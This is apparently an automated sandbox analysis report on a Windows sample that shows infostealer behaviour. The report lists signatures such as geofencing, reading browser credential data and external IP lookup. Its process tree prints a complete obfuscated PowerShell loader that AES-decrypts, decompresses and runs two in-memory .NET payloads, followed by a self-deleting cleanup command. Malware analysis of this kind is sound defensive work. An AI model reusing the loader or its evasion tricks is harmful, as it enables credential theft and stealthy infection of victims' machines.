Analysis
- max time kernel
55s - max time network
135s - platform
windows10-2004_x64 - resource
win10v2004-20230220-en - resource tags
- submitted
19/04/2023, 15:23
General
- Target file.exe
- Size 311KB
- Sample230419-ssftwsdc4x
- SHA256 4d6a68af9d1de9ad0ed6dfdd5cbb0daa6341caa3798b26b3d2d111d06fc402ba
Malware Config
Signatures
- Checks computer location settings 2 TTPs 2 IoCs
Looks up country code configured in the registry, likely geofence.
- Executes dropped EXE 1 IoCs
- Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
- Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
- Suspicious behavior: EnumeratesProcesses 7 IoCs
- Suspicious use of AdjustPrivilegeToken 2 IoCs
- Suspicious use of WriteProcessMemory 12 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\file.exe"C:\Users\Admin\AppData\Local\Temp\file.exe"1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\RarSFX0\3.bat" "2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\RarSFX0\3.bat"3⤵
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\RarSFX0\3.bat.exe"C:\Users\Admin\AppData\Local\Temp\RarSFX0\3.bat.exe" -w hidden -c $gmzQ='StCGDptCGDlittCGD'.Replace('tCGD', '');$wBry='GtCGDetCGDttCGDCtCGDurretCGDntPtCGDrocetCGDsstCGD'.Replace('tCGD', '');$UFIG='MaitCGDnMtCGDodtCGDultCGDetCGD'.Replace('tCGD', '');$ydhj='IntCGDvotCGDketCGD'.Replace('tCGD', '');$oVXW='FirtCGDsttCGD'.Replace('tCGD', '');$xCWJ='TratCGDnstCGDfotCGDrmFitCGDnaltCGDBltCGDoctCGDktCGD'.Replace('tCGD', '');$ldsd='ChtCGDangtCGDeEtCGDxtetCGDnstCGDiontCGD'.Replace('tCGD', '');$soKp='LoadtCGD'.Replace('tCGD', '');$CJnJ='FtCGDrtCGDomBtCGDastCGDetCGD64StCGDttCGDrintCGDgtCGD'.Replace('tCGD', '');$BkzZ='EnttCGDryPotCGDinttCGD'.Replace('tCGD', '');$JPpD='CreatCGDteDtCGDecrtCGDyptCGDtortCGD'.Replace('tCGD', '');$Nqsk='RtCGDeatCGDdLtCGDinestCGD'.Replace('tCGD', '');function FoWVR($lDXAY){$SSFqP=[System.Security.Cryptography.Aes]::Create();$SSFqP.Mode=[System.Security.Cryptography.CipherMode]::CBC;$SSFqP.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7;$SSFqP.Key=[System.Convert]::$CJnJ('wgY2t3nIWeAplW7Oz1v+rb5iTNjlv5IyCDF1cizZbp8=');$SSFqP.IV=[System.Convert]::$CJnJ('Ih6Yh0yact8MGAo6o0A3AQ==');$YvISd=$SSFqP.$JPpD();$bAzRK=$YvISd.$xCWJ($lDXAY,0,$lDXAY.Length);$YvISd.Dispose();$SSFqP.Dispose();$bAzRK;}function yVADK($lDXAY){$zFGLX=New-Object System.IO.MemoryStream(,$lDXAY);$uUkMf=New-Object System.IO.MemoryStream;$LDQsc=New-Object System.IO.Compression.GZipStream($zFGLX,[IO.Compression.CompressionMode]::Decompress);$LDQsc.CopyTo($uUkMf);$LDQsc.Dispose();$zFGLX.Dispose();$uUkMf.Dispose();$uUkMf.ToArray();}$GRJMO=[System.Linq.Enumerable]::$oVXW([System.IO.File]::$Nqsk([System.IO.Path]::$ldsd([System.Diagnostics.Process]::$wBry().$UFIG.FileName, $null)));$TojFX=$GRJMO.Substring(3).$gmzQ(':');$BWlRW=yVADK (FoWVR ([Convert]::$CJnJ($TojFX[0])));$tnrNX=yVADK (FoWVR ([Convert]::$CJnJ($TojFX[1])));[System.Reflection.Assembly]::$soKp([byte[]]$tnrNX).$BkzZ.$ydhj($null,$null);[System.Reflection.Assembly]::$soKp([byte[]]$BWlRW).$BkzZ.$ydhj($null,$null);4⤵
- Checks computer location settings
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $a = [System.Diagnostics.Process]::GetProcessById(2496);$b = $a.MainModule.FileName;$a.WaitForExit();Remove-Item -Force -Path $b;5⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
-
-
Network
MITRE ATT&CK Enterprise v6
Replay Monitor
Loading Replay Monitor...
Downloads
StartupProfileData-NonInteractive
3.bat
3.bat.exe
3.bat.exe
__PSScriptPolicyTest_o5n5qdnv.2mw.ps1
memory/2496-162-0x0000000007AE0000-0x000000000815A000-memory.dmp
memory/2496-182-0x0000000002C80000-0x0000000002C90000-memory.dmp
memory/2496-149-0x0000000005B60000-0x0000000005BC6000-memory.dmp
memory/2496-150-0x0000000005BD0000-0x0000000005C36000-memory.dmp
memory/2496-146-0x0000000002C80000-0x0000000002C90000-memory.dmp
memory/2496-160-0x0000000006130000-0x000000000614E000-memory.dmp
memory/2496-161-0x0000000002C80000-0x0000000002C90000-memory.dmp
memory/2496-147-0x0000000005300000-0x0000000005928000-memory.dmp
memory/2496-163-0x00000000066D0000-0x00000000066EA000-memory.dmp
memory/2496-145-0x0000000002C80000-0x0000000002C90000-memory.dmp
memory/2496-175-0x0000000007980000-0x0000000007A12000-memory.dmp
memory/2496-144-0x0000000002C40000-0x0000000002C76000-memory.dmp
memory/2496-148-0x0000000005260000-0x0000000005282000-memory.dmp
memory/2496-178-0x0000000008710000-0x0000000008CB4000-memory.dmp
memory/2496-179-0x0000000002C80000-0x0000000002C90000-memory.dmp
memory/2496-183-0x0000000002C80000-0x0000000002C90000-memory.dmp
memory/4696-177-0x0000000004670000-0x0000000004680000-memory.dmp
memory/4696-185-0x0000000006B90000-0x0000000006C26000-memory.dmp
memory/4696-186-0x0000000004670000-0x0000000004680000-memory.dmp
memory/4696-187-0x0000000005F80000-0x0000000005FA2000-memory.dmp
memory/4696-176-0x0000000004670000-0x0000000004680000-memory.dmp